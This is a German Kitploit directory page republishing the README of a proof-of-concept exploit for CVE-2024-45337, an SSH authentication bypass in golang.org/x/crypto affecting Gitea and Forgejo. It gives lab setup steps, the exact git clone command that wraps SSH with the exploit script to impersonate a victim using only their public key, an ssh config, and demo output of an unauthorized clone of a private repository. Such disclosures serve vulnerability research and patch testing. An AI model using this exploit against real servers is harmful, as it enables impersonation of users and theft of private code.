Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-45337 — Proof of Concept for CVE-2024-45337 against Gitea and Forgejo | Kitploit
Tools/GitHubGitHub/peace-maker/cve-2024-45337
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthentication
GitHubpeace-maker/cve-2024-45337

CVE-2024-45337

Proof of Concept for CVE-2024-45337 against Gitea and Forgejo

Repository anzeigen
1vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Proof-of-Concept-Exploit für CVE-2024-45337

Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2024-45337. Es kann verwendet werden, um ssh zu wrappen, wenn mit einem SSH-Server interagiert wird, der mit golang.org/x/crypto <= v0.30.0 implementiert ist, während Berechtigungen im Callback ServerConfig.PublicKeyCallback auf unsichere Weise zwischengespeichert werden.

Gitea <= 1.22.4 und Forgejo <= 7.0.11, 9.0.2 sind anfällig, wenn sie mit dem internen SSH-Server betrieben werden. Sie können jeden Benutzer impersonieren, solange Sie einen der öffentlichen Schlüssel kennen, die mit dessen Konto verknüpft sind. Sie müssen selbst ein Konto haben, das Sie für die SSH-Authentifizierung verwenden.

PoC ausführen

  1. Starten Sie eine anfällige Forgejo- oder Gitea-Instanz. Gitea-Docker-Images sind nicht anfällig, daher müssen Sie ein natives Binary verwenden.
root@kitploit:~
docker compose -f docker-compose.forgejo.yml up -d
  1. Installieren Sie, während Sie den SSH-Port auf 22 ändern, unter http://localhost:3000
  2. Registrieren Sie einen victim-Benutzer
    1. Fügen Sie den öffentlichen Schlüssel des Opfers zum Konto unter http://localhost:3000/user/settings/keys hinzu
    2. Erstellen Sie ein privates Repository namens important_repo und generieren Sie einen initialen Commit mit einer README, damit Sie etwas zum Klonen haben.
  3. Registrieren Sie einen attacker-Benutzer
    1. Fügen Sie den öffentlichen Schlüssel des Angreifers zum Konto unter http://localhost:3000/user/settings/keys hinzu
  4. Klonen Sie das Repository mit dem Konto des Angreifers
    1. Setzen Sie GIT_ATTACK_PRIVKEY auf den Pfad zum privaten Schlüssel des gültigen Kontos
    2. Setzen Sie GIT_ATTACK_PUBKEY auf den Pfad zum bekannten öffentlichen Schlüssel des anderen Zielkontos. Wir kennen den privaten Schlüssel dafür nicht.
    3. Setzen Sie GIT_SSH auf den Pfad zum Exploit-Skript, um git anzuweisen, dieses anstelle des nativen ssh-Befehls zu verwenden.
root@kitploit:~
GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git

Demo

.ssh/config, um Schlüssel beim Klonen anzugeben

root@kitploit:~
Host sshvictim
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_victim
 IdentitiesOnly yes
Host sshattacker
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_attacker
 IdentitiesOnly yes

Ausführung gegen lokalen Forgejo-7.0.11-Container, eingerichtet wie oben.

root@kitploit:~
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.

# Delete private key of victim for demo purposes
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
Tool herunterladen